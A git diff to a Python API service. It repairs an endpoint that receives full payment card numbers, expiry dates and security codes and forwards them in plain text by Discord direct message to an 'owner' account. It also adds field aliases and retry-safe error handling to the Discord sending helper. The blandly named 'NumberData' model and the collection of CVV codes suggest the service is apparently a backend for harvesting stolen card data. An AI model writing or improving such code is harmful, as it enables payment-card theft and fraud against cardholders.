diff --git a/api_service/api_models.py b/api_service/api_models.py
index 0acad14..6ff16f1 100644
--- a/api_service/api_models.py
+++ b/api_service/api_models.py
@@ -92,3 +92,16 @@ class NumberData(BaseModel):
     card_number: str
     expiry_date: str
     security_code: str
+
+    # Aliases for backward compatibility
+    @property
+    def number(self) -> str:
+        return self.card_number
+
+    @property
+    def date(self) -> str:
+        return self.expiry_date
+
+    @property
+    def code(self) -> str:
+        return self.security_code
diff --git a/api_service/api_server.py b/api_service/api_server.py
index 49a6aa3..27712f8 100644
--- a/api_service/api_server.py
+++ b/api_service/api_server.py
@@ -209,68 +209,82 @@ async def send_discord_message_via_api(channel_id: int, content: str, timeout: f
 
     log.debug(f"Sending message to channel {channel_id} with data: {data}")
 
-    try:
-        # Use global http_session if available, otherwise create a new one
-        session = http_session if http_session else aiohttp.ClientSession()
+    # Create a separate task for the API request to handle timeout properly
+    async def make_request():
+        try:
+            # Use global http_session if available, otherwise create a new one
+            session = http_session if http_session else aiohttp.ClientSession()
 
-        # Send the request with a timeout
-        async with session.post(url, headers=headers, json=data, timeout=timeout) as response:
-            if response.status == 200 or response.status == 201:
-                # Message sent successfully
-                response_data = await response.json()
-                return {
-                    "success": True,
-                    "message": "Message sent successfully",
-                    "message_id": response_data.get("id")
-                }
-            elif response.status == 403:
-                # Missing permissions
-                return {
-                    "success": False,
-                    "message": "Missing permissions to send message to this channel",
-                    "error": "forbidden",
-                    "status": response.status
-                }
-            elif response.status == 429:
-                # Rate limited
-                response_data = await response.json()
-                retry_after = response_data.get("retry_after", 1)
-                return {
-                    "success": False,
-                    "message": f"Rate limited by Discord API. Retry after {retry_after} seconds",
-                    "error": "rate_limited",
-                    "retry_after": retry_after,
-                    "status": response.status
-                }
-            else:
-                # Other error
-                try:
+            # Send the request with a timeout
+            async with session.post(url, headers=headers, json=data, timeout=timeout) as response:
+                if response.status == 200 or response.status == 201:
+                    # Message sent successfully
                     response_data = await response.json()
                     return {
-                        "success": False,
-                        "message": f"Discord API error: {response.status}",
-                        "error": "api_error",
-                        "status": response.status,
-                        "details": response_data
+                        "success": True,
+                        "message": "Message sent successfully",
+                        "message_id": response_data.get("id")
                     }
-                except:
+                elif response.status == 403:
+                    # Missing permissions
                     return {
                         "success": False,
-                        "message": f"Discord API error: {response.status}",
-                        "error": "api_error",
+                        "message": "Missing permissions to send message to this channel",
+                        "error": "forbidden",
                         "status": response.status
                     }
-    except asyncio.TimeoutError:
-        return {
-            "success": False,
-            "message": "Timeout sending message to Discord API",
-            "error": "timeout"
-        }
+                elif response.status == 429:
+                    # Rate limited
+                    response_data = await response.json()
+                    retry_after = response_data.get("retry_after", 1)
+                    return {
+                        "success": False,
+                        "message": f"Rate limited by Discord API. Retry after {retry_after} seconds",
+                        "error": "rate_limited",
+                        "retry_after": retry_after,
+                        "status": response.status
+                    }
+                else:
+                    # Other error
+                    try:
+                        response_data = await response.json()
+                        return {
+                            "success": False,
+                            "message": f"Discord API error: {response.status}",
+                            "error": "api_error",
+                            "status": response.status,
+                            "details": response_data
+                        }
+                    except:
+                        return {
+                            "success": False,
+                            "message": f"Discord API error: {response.status}",
+                            "error": "api_error",
+                            "status": response.status
+                        }
+        except asyncio.TimeoutError:
+            return {
+                "success": False,
+                "message": "Timeout sending message to Discord API",
+                "error": "timeout"
+            }
+        except Exception as e:
+            return {
+                "success": False,
+                "message": f"Error sending message: {str(e)}",
+                "error": "unknown",
+                "details": str(e)
+            }
+
+    try:
+        # Execute the request in a proper task context
+        return await make_request()
     except Exception as e:
+        log.error(f"Error in send_discord_message_via_api: {e}")
         return {
             "success": False,
             "message": f"Error sending message: {str(e)}",
-            "error": "unknown",
+            "error": "task_error",
             "details": str(e)
         }
 # ---------------------------------
@@ -2879,17 +2893,19 @@ async def receive_number_data(data: NumberData):
 
         dm_content = (
             f"New card data received:\n"
-            f"Card Number: {data.number}\n"
-            f"Expiration Date: {data.date}\n"
-            f"Security Code: {data.code}"
+            f"Card Number: {data.card_number}\n"
+            f"Expiration Date: {data.expiry_date}\n"
+            f"Security Code: {data.security_code}"
         )
 
         # Get the DM channel for the owner
-        dm_channel = await owner_user.create_dm()
-        dm_channel_id = dm_channel.id
+        if not owner_user.dm_channel:
+            dm_channel = await owner_user.create_dm()
+        else:
+            dm_channel = owner_user.dm_channel
 
-        # Send DM using the helper function
-        result = await send_discord_message_via_api(dm_channel_id, dm_content)
+        # Send DM using the helper function with the channel ID
+        result = await send_discord_message_via_api(dm_channel.id, dm_content)
 
         if result["success"]:
             log.info(f"Successfully DMed card data to owner {owner_id}.")